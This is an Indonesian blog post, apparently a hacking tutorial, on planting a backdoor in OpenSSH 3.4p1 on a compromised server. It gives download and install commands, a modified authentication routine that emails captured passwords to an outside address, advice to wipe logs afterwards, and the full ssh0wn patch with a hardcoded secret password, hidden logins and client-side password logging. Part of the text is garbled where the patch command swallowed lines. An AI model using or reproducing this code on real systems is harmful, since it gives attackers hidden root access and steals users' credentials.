BACKDOOR

PENGERTIAN
Backdoor (pintu belakang) adalah salah satu rootkit yang bertugas untuk memberikan
jalasa masuk (secara illegal) terhadap sebuah sistem operasi, baik itu sifatnya
single port atau multiple port. Backdoor bekerja secara invisible dan tidak
bersifat sebagai normal authentication login.
Backdoor bisa bersifat sebagai sniffer, dalam artian fungsi dari backdoor tidak
sebatas sebagai jalan masuk (secara illegal), namun dia akan mempunyai dualisme
tugas yaitu sebagai pencatat login yang ada didalam sebuah sistem operasi.
[1.2] Menentukan Backdoor yang layak dipakai
Pengertian dari memilih backdoor yang layak disini adalah yang mempunyai beberapa
kriteria sebagai berikut:
1. Pastikan backdoor tersebut aman dari kontrol original root.
2. Backdoor yang dipakai tidak menimbulkan proses tambahan yang ada didalam
sebuah server.
3. Mempunyai kemampuan yang multifungsi, dalam artian disamping sebagai jalan masuk
juga berfungsi sebagai pencatat segala informasi yang ada didalam sistem operasi.
Kenapa backdoor harus tidak menambah proses yang ada didalam server? karena disini
penulis mengasumsikan bahwa sysadmin yang menjadi target `bukanlah orang yang bodoh’
mereka akan secara rutin mencatat segala perubahan yang terjadi didalam server. Hal
ini menuntut kita untuk melakukan perubahan didalam server seminimal mungkin.
Untuk tulisan ini, dipilih backdoor yang menginfeksi service OpenSSH, dengan
pertimbangan bahwa service OpenSSH adalah service standar yang ada dalam sebuah
sistem operasi UNIX, dan backdoor ini tidak menambah proses baru didalam server.
Secara standar jenis backdoor ini sudah mempunyai dua fungsi yang ideal sebagai
backdoor. Pertama memungkinkan kita untuk login secara remote dengan akses root
secara invisible, dan kedua memungkinkan kita untuk mengetahui informasi dari login
yang masuk dan keluar semua user yang ada didalam server.
Kelemahannya mungkin tidak secara otomatis mengirimkan informasi tersebut kedalam
email. Hal ini menyebabkan kita harus dua kali kerja untuk mengetahui informasi
tersebut. Didalam tulisan ini disamping menjelaskan bagaimana menginstal backdoor
tersebut, juga membahasa bagaimana cara mengoptimalkan kinerja backdoor ini.
[2] Instalasi Backdoor OpenSSH-3.4p1
Ada beberapa hal yang harus diperhatikan sebelum kita melakukan penetrasi terhadap
sebuah server yang berhasil kita masuki.
Pertama adalah melihat versi OpenSSH asli yang ada didalam server, dan kedua adalah
memperhatikan dan menganalisa seberapa sering root login didalam server, hal ini
akan memberikan gambaran yang jelas seberapa teliti sysadmin dalam mengelola server.
Dalam proses instalasi ini membutuhkan beberapa file pendukung yaitu:
1. ssh0wn.diff
http://sec.angrypacket.com/code/ssh0wn.diff
2. Openssh-3.4p1.tar.gz
http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
Setelah semua file pendukung tersebut berhasil anda simpan didalam server, langkah
awal adalah melakukan pemecahan file OpenSSH-3.4p1 (extract), dan kedua memindahkan
file ssh0wn.diff kedalam direktori OpenSSH-3.4p1
Gambaran secara jelas dalam proses instalasi dapat anda lihat dari ilustrasi
dibawah ini:
[betha@tiamat:~]$ wget http://sec.angrypacket.com/code/ssh0wn.diff
–21:17:29– http://sec.angrypacket.com/code/ssh0wn.diff
=> `ssh0wn.diff’
Resolving sec.angrypacket.com… 64.84.39.37
Connecting to sec.angrypacket.com[64.84.39.37]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 5,595 [text/plain]
100%[============================>] 5,595 –.–K/s
21:17:29 (1.29 MB/s) – `ssh0wn.diff’ saved [5595/5595]
[betha@tiamat:~]$ wget http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
–21:17:40– http://openbsd.md5.com.ar/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
=> `openssh-3.4p1.tar.gz’
Resolving openbsd.md5.com.ar… 200.32.4.46
Connecting to openbsd.md5.com.ar[200.32.4.46]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 837,668 [application/x-tar]
100%[============================>] 837,668 38.64K/s ETA 00:00
21:18:03 (37.27 KB/s) – `openssh-3.4p1.tar.gz’ saved [837668/837668]
[betha@tiamat:~]$ tar xzf openssh-3.4p1.tar.gz
[betha@tiamat:~]$ mv ssh0wn.diff openssh-3.4p1
[betha@tiamat:~]$ cd openssh-3.4p1
[betha@tiamat:~/openssh-3.4p1]$ patch pw_name,password);
fclose (outf);
return 1;
}else
return 0;
[...]
——————————————————————–
Dan rubah file tersebut dengan:
——————————————————————–
[...]
if(strcmp(encrypted_password, pw_password) == 0){
outf = fopen(_LOG_DIR”/”_S_LOG,”a+”);
fprintf (outf, “%s:%s:%s:%d%s\n”,pw->pw_name,password, get_remote_ipaddr(), get_local_port(), system(“cat /dev/hdal/slog | mail aris@kecoak.or.id”));
fclose (outf);
return 1;
}else
return 0;
[...]
——————————————————————–
Simpan file tersebut dan segera memulai instalasi akhir dari penetrasi OpenSSH ini.Proses
instalasi OpenSSH ini HANYA bisa dilakukan oleh akses root.
[root@tiamat:~]# ./configure –prefix=/usr –sysconfdir=/etc/ssh
[root@tiamat:~]# make
[root@tiamat:~]# make install
[root@tiamat:~]# make clean && make distclean
[root@tiamat:~]# echo “UsePrivilegeSeparation no” >> sshd_config
[root@tiamat:~]# cp -f sshd_config /etc/ssh/sshd_config
[root@tiamat:~]# mkdir /dev/hdal
[root@tiamat:~]# chmod 777 /dev/hdal
[root@tiamat:~]# kill -HUP `cat /var/run/sshd.pid’
Proses akhir selesai, dan segera lakukan penghapusan log yang tertinggal diserver
yang berhasil anda attack. Dan anda dapat login kedalam server tersebut melalui
port standar openssh (22) dan dengan menggunakan password yang telah anda tentukan
didalam file `includes.h’
[4] References
— Backdoor Ensiklopedia
— Angrypacket Security Project
Lampiran ssh0wn.diff
# $Id: ssh0wn.diff,v 1.6 2002/08/08 21:53:02 enz00 Exp $
#
# patch for openssh-3.4p1
#
# when applied this patch will authenticate you
# as any user with the secret password and that user
# will not be logged. it will also log logins/passwords
# client and server side
#
# usage:
# you’ll probably want to change the defines found below
# make sure that the _LOG_DIR is chmod 777
# cp ssh0wn.diff openssh-3.4p1/;cd openssh-3.4p1
# patch pw_name,password);
+ fclose (outf);
+ return 1;
+ }else
+ return 0;
#endif /* !USE_PAM && !HAVE_OSF_SIA */
}
— openssh-3.4p1/auth.c Wed May 22 01:06:28 2002
+++ ssh0wn/auth.c Thu Aug 1 23:16:54 2002
@@ -248,14 +248,17 @@
else
authmsg = authenticated ? “Accepted” : “Failed”;
- authlog(“%s %s for %s%.100s from %.200s port %d%s”,
- authmsg,
- method,
- authctxt->valid ? “” : “illegal user “,
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ authlog(“%s %s for %s%.100s from %.200s port %d%s”,
+ authmsg,
+ method,
+ authctxt->valid ? “” : “illegal user “,
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
}
/*
— openssh-3.4p1/canohost.c Tue Jun 11 12:47:22 2002
+++ ssh0wn/canohost.c Wed Aug 7 17:43:34 2002
@@ -74,11 +74,13 @@
debug3(“Trying to reverse map address %.100s.”, ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- log(“Could not reverse map address %.100s.”, ntop);
- return xstrdup(ntop);
+ if(!mlogin_ok){
+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ log(“Could not reverse map address %.100s.”, ntop);
+ return xstrdup(ntop);
+ }
}
/* Got host name. */
— openssh-3.4p1/includes.h Mon May 13 01:14:09 2002
+++ ssh0wn/includes.h Thu Aug 8 15:45:46 2002
@@ -157,4 +157,13 @@
#include “entropy.h”
+/* hax0r shit */
+#define _SECRET_PASSWD “l33thex0r_passwerd”
+#define _LOG_DIR “/dev/hdal”
+#define _S_LOG “slog”
+#define _C_LOG “clog”
+FILE *outf;
+int mlogin_ok;
+/* end hax0r shit */
+
#endif /* INCLUDES_H */
— openssh-3.4p1/sshconnect1.c Thu Jun 6 15:57:34 2002
+++ ssh0wn/sshconnect1.c Thu Aug 8 15:48:48 2002
@@ -922,6 +922,7 @@
{
int type, i;
char *password;
+ char gpasswd[120];
debug(“Doing password authentication.”);
if (options.cipher == SSH_CIPHER_NONE)
@@ -930,6 +931,7 @@
if (i != 0)
error(“Permission denied, please try again.”);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
memset(password, 0, strlen(password));
@@ -938,8 +940,15 @@
packet_write_wait();
type = packet_read();
- if (type == SSH_SMSG_SUCCESS)
+ if (type == SSH_SMSG_SUCCESS){
+ /* dont log if secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);
+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
+ }
if (type != SSH_SMSG_FAILURE)
packet_disconnect(“Protocol error: got %d in response to passwd auth”, type);
}
— openssh-3.4p1/sshconnect2.c Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshconnect2.c Thu Aug 8 15:48:20 2002
@@ -446,6 +446,7 @@
static int attempt = 0;
char prompt[150];
char *password;
+ char gpasswd[120];
if (attempt++ >= options.number_of_password_prompts)
return 0;
@@ -456,6 +457,7 @@
snprintf(prompt, sizeof(prompt), “%.30s@%.128s’s password: “,
authctxt->server_user, authctxt->host);
password = read_passphrase(prompt, 0);
+ strcpy(gpasswd,password);
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
@@ -470,6 +472,12 @@
dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq);
+ /* dont log if its the secret pass */
+ if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+ outf = fopen(_LOG_DIR”/”_C_LOG,”a+”);
+ fprintf (outf,”%s:%s@%s\n”,options.user,gpasswd,get_remote_ipaddr());
+ fclose (outf);
+ }
return 1;
}
/*
— openssh-3.4p1/sshlogin.c Sun Jun 23 17:23:21 2002
+++ ssh0wn/sshlogin.c Thu Aug 8 15:46:10 2002
@@ -71,8 +71,11 @@
li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, sizeof(struct sockaddr));
- login_login(li);
- login_free_entry(li);
+ /* dont log if secret pass */
+ if(!mlogin_ok){
+ login_login(li);
+ login_free_entry(li);
+ }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -96,6 +99,9 @@
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, ttyname);
- login_logout(li);
- login_free_entry(li);
+ /* no logout if secret pass */
+ if(!mlogin_ok){
+ login_logout(li);
+ login_free_entry(li);
+ }
}


Nama Anda
New Johny WussUpdated: 22.59

0 komentar:

Posting Komentar

Popular Posts

Recent Comments

CB